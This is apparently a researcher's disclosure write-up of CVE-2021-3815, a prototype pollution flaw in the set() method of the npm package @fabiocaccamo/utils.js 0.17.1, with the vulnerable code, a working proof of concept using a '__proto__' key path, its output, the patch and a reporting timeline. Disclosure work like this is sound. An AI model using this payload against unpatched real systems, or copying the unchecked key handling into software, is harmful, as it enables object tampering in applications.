The @fabiocaccamo/utils.js is a package that provides methods with multiple functions for the convenience of developers. A vulnerability exists in one method included in this package.

I discovered a prototype pollution vulnerability via utils.js method analysis. In the 0.17.1 version package, Prototype Pollution occurs because the key value of the object is not checked within the set() method.


Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
set: function(obj, path, value)
{
var keys = path.split('.');
var key;
var cursor = obj;
for (var i = 0, j = keys.length; i < j; i++) {
key = keys[i];
if (!TypeUtil.isObject(cursor[key])) {
cursor[key] = {};
}
if (i < (j - 1)) {
cursor = cursor[key];
} else {
cursor[key] = value;
}
}
}
// https://github.com/fabiocaccamo/utils.js/blob/master/dist/utils.js#L2360

If you check the set() method of utils.object.keypath, you can see that the value of the path parameter is split with dots, and then merged with the value of the value parameter based on the key value.

1
2
3
4
5
6
7
8
9
10
11
12
const utils = require("@fabiocaccamo/utils.js");
const obj = {};
const fake_obj = {};

console.log(`[+] Before prototype pollution : ${obj.polluted}`);
utils.object.keypath.set(fake_obj, '__proto__.polluted', true);
console.log(`[+] After prototype pollution : ${obj.polluted}`);

/*
[+] Before prototype pollution : undefined
[+] After prototype pollution : true
*/

I wrote PoC as above!

1
2
3
4
5
6
7
8
9
10
11
~/npm-research/utils/prototype_pollution_via_set()
❯ node poc.js
[+] Before prototype pollution : undefined
[+] After prototype pollution : true

~/npm-research/utils/prototype_pollution_via_set()

> obj
▼{}
▼[[Prototype]]: Object
polluted: true

A prototype pollution vulnerability has occurred and you can see the object being polluted. I first found a prototype pollution in node module. this is my favourite vulnerability. So I’m very happy that I found it!

Also, the vulnerability has been patched, so i have been assigned CVE-2021-3815 for this vulnerability! This is my first CVE.


Patched

1
2
3
4
5
6
7
8
9
10
             var cursor = obj;
for (var i = 0, j = keys.length; i < j; i++) {
key = keys[i];
+ if (key === '__proto__') {
+ break;
+ }
if (!TypeUtil.isObject(cursor[key])) {
cursor[key] = {};
}
# https://github.com/fabiocaccamo/utils.js/commit/d9ebbcdbcd7b89abeeb240952ff5ab01ca372a5f

Reporting Timeline

  • 2021-11-30 21h 11m : Reported this issue via the huntr
  • 2021-12-02 17h 24m : Validated this issue by Fabio Caccamo
  • 2021-12-06 19h 46m : Patched this issue by Fabio Caccamo
  • 2021-12-07 23h 57m : Requested a CVE for this issue by Jamie Slome
  • 2021-12-09 12h 25m : Assigned the CVE-2021-3815

Reference